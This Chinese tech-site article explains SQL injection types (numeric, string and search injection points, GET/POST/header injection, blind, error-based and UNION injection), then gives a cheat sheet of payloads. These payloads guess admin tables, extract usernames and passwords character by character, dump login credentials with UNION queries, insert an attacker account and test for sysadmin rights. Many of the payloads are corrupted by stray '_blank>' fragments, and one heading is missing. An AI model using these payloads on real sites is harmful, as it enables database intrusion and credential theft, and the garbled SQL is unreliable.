溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

sql注入語句有三種分別是什么

發(fā)布時間:2021-03-10 14:16:57 來源:億速云 閱讀:1788 作者:小新 欄目:數(shù)據(jù)庫

這篇文章主要介紹sql注入語句有三種分別是什么,文中介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們一定要看完!

sql注入語句有三種,分別是:1、數(shù)字型注入點,語句如“select * from 表名 where id=1 and 1=1”;2、字符型注入點,語句如“select * from 表名 where name...”;3、搜索型注入點。

sql注入常用語句

SQL注入

1. 什么是sql注入

通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。

2. sql注入類型

按照注入點類型來分類

(1)數(shù)字型注入點

許多網(wǎng)頁鏈接有類似的結(jié)構(gòu) http://xxx.com/users.php?id=1 基于此種形式的注入,一般被叫做數(shù)字型注入點,緣由是其注入點 id 類型為數(shù)字,在大多數(shù)的網(wǎng)頁中,諸如 查看用戶個人信息,查看文章等,大都會使用這種形式的結(jié)構(gòu)傳遞id等信息,交給后端,查詢出數(shù)據(jù)庫中對應(yīng)的信息,返回給前臺。這一類的 SQL 語句原型大概為 select * from 表名 where id=1 若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進(jìn)行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入點

網(wǎng)頁鏈接有類似的結(jié)構(gòu) http://xxx.com/users.php?name=admin 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name='admin' 值得注意的是這里相比于數(shù)字型注入類型的sql語句原型多了引號,可以是單引號或者是雙引號。若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進(jìn)行爆破:select * from 表名 where name='admin' and 1=1 ' 我們需要將這些煩人的引號給處理掉。

(3)搜索型注入點

這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時沒過濾搜索參數(shù),一般在鏈接地址中有 "keyword=關(guān)鍵字" 有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like '%關(guān)鍵字%' 若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進(jìn)行爆破:select * from 表名 where 字段 like '%測試%' and '%1%'='%1%'

按照數(shù)據(jù)提交的方式來分類

(1)GET 注入

提交數(shù)據(jù)的方式是 GET , 注入點的位置在 GET 參數(shù)部分。比如有這樣的一個鏈接http://xxx.com/news.php?id=1 , id 是注入點。

(2)POST 注入

使用 POST 方式提交數(shù)據(jù),注入點位置在 POST 數(shù)據(jù)部分,常發(fā)生在表單中。

HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當(dāng)中的某個字段中。

(4)HTTP 頭部注入

注入點在 HTTP 請求頭部的某個字段中。比如存在 User-Agent 字段中。嚴(yán)格講的話,Cookie 其實應(yīng)該也是算頭部注入的一種形式。因為在 HTTP 請求的時候,Cookie 是頭部的一個字段。

按照執(zhí)行效果來分類

(1)基于布爾的盲注

即可以根據(jù)返回頁面判斷條件真假的注入。

(2)基于時間的盲注

即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。

(3)基于報錯注入

即頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。

  1. 單引號

  2. 雙引號

  3. 基于數(shù)字型注入

(4)聯(lián)合查詢注入

可以使用union的情況下的注入。

常用語句

1.判斷有無注入點 
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等.. 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數(shù)目就是1個 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱. 
and 1=(select count(*) from admin where len(*)>0)-- 
and 1=(select count(*) from admin where len(用戶字段名稱name)>0) 
and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 錯誤 
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6 
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確 
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12 
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符 
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位 
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位 
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了 
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.
group by users.id having 1=1-- 
group by users.id, users.username, users.password, users.privs having 1=1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)- 
UNION SELECT TOP 1 login_blank>_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服務(wù)器打的補(bǔ)丁=出錯了打了SP4補(bǔ)丁 
and 1=(select @@VERSION)--
看_blank>數(shù)據(jù)庫連接賬號的權(quán)限,返回正常,證明是_blank>服務(wù)器角色sysadmin權(quán)限。 
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判斷連接_blank>數(shù)據(jù)庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA) 
and sa=(SELECT System_blank>_user)-- 
and user_blank>_name()=dbo-- 
and 0<>(select user_blank>_name()--

以上是“sql注入語句有三種分別是什么”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對大家有幫助,更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI